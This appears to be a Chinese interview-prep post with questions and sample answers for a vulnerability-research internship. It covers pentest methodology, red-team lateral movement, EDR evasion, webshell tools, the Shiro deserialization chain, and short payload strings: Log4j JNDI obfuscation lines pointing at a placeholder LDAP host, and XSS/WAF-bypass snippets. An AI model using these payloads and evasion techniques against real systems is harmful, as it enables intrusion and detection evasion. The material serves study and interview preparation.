2025年渗透测试面试题总结- 深某服-漏洞研究员实习（题目+回答）

   网络安全领域各种资源，学习文档，以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具，欢迎关注。

目录

 深信服-漏洞研究员实习

1. 在XX实习时做了什么

2. 渗透测试的思路简单描述

3. 护网中承担什么角色

4. 红队一些攻击思路

5. 拿下系统如何横向

6. Log4j漏洞（CVE-2021-44228）研究

7. 内存码（Shellcode Loader）了解

8. 冰蝎、哥斯拉工具分析

9. 攻击队研究重点

10. 擅长漏洞/攻击方向

11. Shiro反序列化漏洞解析

12. Bypass方法示例

---

 深某服-漏洞研究员实习

在XX实习时做了什么渗透测试的思路简单描述护网中承担什么角色红队一些攻击思路拿下系统如何横向前段时间的那个log4j有研究吗，可以简单说一下吗（接上）有哪些混淆绕过的方法内存码有没有了解冰蝎、哥斯拉这些工具有没有了解过做攻击队的时候有没有研究过什么攻击，比如研究一些工具还是魔改什么的那么多漏洞和攻击，比较擅长哪一个说下shiro反序列化的形成原因、利用链对一些bypass的方法有没有了解过，什么姿势可以简单介绍一下。

1. 在XX实习时做了什么

在实习期间，主要围绕渗透测试、漏洞挖掘和攻防实战展开：

• 渗透测试项目：参与内/外部资产的安全评估，包括Web应用、API接口和内部系统的漏洞扫描（如SQL注入、XSS、逻辑漏洞等）。
• 漏洞挖掘与利用：针对Java框架（Shiro、Fastjson）、中间件（WebLogic、Tomcat）进行代码审计，复现历史漏洞并尝试发现新攻击面。
• 红蓝对抗支持：协助防守方分析攻击流量，溯源攻击链；同时模拟攻击队编写PoC工具，绕过WAF规则。
• 报告输出：整理漏洞复现步骤、风险等级和修复方案，推动开发团队修复高危漏洞。

---

2. 渗透测试的思路简单描述

渗透测试核心流程分五阶段：

1. 信息收集：
   • 子域名枚举（如subfinder）、端口扫描（nmap）、指纹识别（Wappalyzer）。
   • 敏感信息泄露（GitHub源码、备份文件、配置文件）。
2. 漏洞扫描与验证：
   • 工具自动化扫描（AWVS、Nessus），结合手动验证误报（如逻辑漏洞、未授权访问）。
3. 权限提升：
   • 通过弱口令、反序列化、文件上传等漏洞获取初始立足点。
4. 横向移动：
   • 利用内网协议（SMB、WinRM）、凭证窃取（Mimikatz）扩大控制范围。
5. 报告输出：
   • 输出漏洞详情、攻击路径图及修复建议。

---

3. 护网中承担什么角色

• 攻击队角色：
  • 突破入口：针对暴露面（Web应用、VPN、邮件系统）进行漏洞利用（如Log4j、OA系统RCE）。
  • 横向渗透：通过内网代理（如reGeorg）和口令爆破（Hydra）拿下域控或核心数据库。
• 防守经验：
  • 分析攻击流量特征（如冰蝎流量加密），优化WAF规则；
  • 协助处置应急事件（如Webshell查杀、日志溯源）。

---

4. 红队一些攻击思路

初始入侵阶段：

• 鱼叉攻击：钓鱼邮件投递恶意文档（CVE-2021-40444）或伪装升级包（供应链污染）。
• 0day/Nday利用：针对未修复的高危漏洞快速突破（如Confluence RCE）。

横向扩展阶段：

• 凭证窃取：通过Mimikatz提取内存密码、Kerberoasting攻击获取服务账户哈希。
• 权限维持：部署隐蔽后门（如计划任务、WMI事件订阅）、黄金票据伪造域管权限。

---

5. 拿下系统如何横向

横向移动关键步骤：

1. 信息收集：
   • 内网资产扫描（Netsparker、Fscan），定位高价值目标（数据库、域控）。
2. 凭证利用：
   • Pass-the-Hash（NTLM哈希传递）、Pass-the-Ticket（Kerberos票据转发）。
3. 协议漏洞：
   • 利用SMBGhost（CVE-2020-0796）、Zerologon（CVE-2020-1472）直接提权。
4. 隐蔽通道：
   • 通过DNS隧道（dnscat2）、HTTP代理（Chisel）绕过网络隔离。

---

6. Log4j漏洞（CVE-2021-44228）研究

原理：Log4j 2.x版本解析日志时，未对${jndi:ldap://xxx}等表达式过滤，导致JNDI注入，远程加载恶意类触发RCE。

混淆绕过方法：

• 环境变量注入：${${env:XXX:-j}ndi:ldap://xxx}（利用默认值覆盖）。
• Lower/Upper关键字：${jNdi:ldap://xxx}（大小写绕过）。
• 嵌套表达式：${${::-j}ndi:ldap://xxx}（特殊符号替换）。
• 绕过高版本限制：利用上下文变量（如${ctx:xxx}）拼接攻击载荷。

---

7. 内存码（Shellcode Loader）了解

• 原理：将恶意代码（如Cobalt Strike的Beacon）直接加载到内存中执行，避免文件落地。
• 常见技术：
  • 反射型DLL注入：通过VirtualAlloc分配内存并执行。
  • 进程镂空（Process Hollowing）：替换合法进程内存内容（如svchost.exe ）。
• 对抗检测：通过加密壳（如AES）、API调用混淆（如Syscall直接调用）绕过EDR。

---

8. 冰蝎、哥斯拉工具分析

• 冰蝎（Behinder）：
  • 特点：动态密钥加密流量（AES+随机Key），支持HTTP/HTTPS隧道。
  • 检测难点：特征为固定UA头和Content-Type: application/octet-stream。
• 哥斯拉（Godzilla）：
  • 优势：支持更多加密算法（如RSA）、模块化功能（内网穿透、端口扫描）。
  • 绕过技巧：修改默认密钥、自定义HTTP头字段混淆流量。

---

9. 攻击队研究重点

• 工具武器化：
  • 魔改C2框架（如Cobalt Strike Aggressor脚本），适配目标环境。
  • 开发轻量级漏洞利用工具（如Fastjson一键利用）。
• 流量混淆：
  • 对Webshell流量进行分段编码（如Base64+Hex混合）、添加垃圾数据。
• 供应链攻击：
  • 研究第三方组件漏洞（如npm包、Docker镜像投毒）。

---

10. 擅长漏洞/攻击方向

反序列化漏洞：

• 擅长点：Java反序列化链构造（如CommonsBeanutils、CC链）、内存马注入。
• 实战案例：通过Shiro RememberMe字段反序列化打入内网，结合JNDI注入加载内存马。

---

11. Shiro反序列化漏洞解析

形成原因：

• Shiro使用硬编码AES密钥加密RememberMe字段，攻击者通过伪造Cookie触发反序列化。
• 反序列化入口点：AbstractRememberMeManager#decrypt方法。

利用链（以CommonsBeanutils为例）：

1. 触发点：恶意Cookie → AES解密 → 反序列化 → 调用BeanComparator.compare() 。
2. 利用链：通过PropertyUtils.getProperty() 触发任意Getter方法，最终执行TemplatesImpl加载字节码。

---

12. Bypass方法示例

常见绕过姿势：

• 编码混淆：URL编码、Unicode转义（如<img src=x onerror=alert(1)> → \u003cimg\u0020src=x...）。
• 关键字分割：利用注释符或拼接（如<svg/onload=alert``(1)>）。
• 协议特性：
  • HTTP参数污染（HPP）：param=1&param=payload触发解析差异。
  • 特殊符号：${1+1}在Thymeleaf等模板引擎中执行表达式。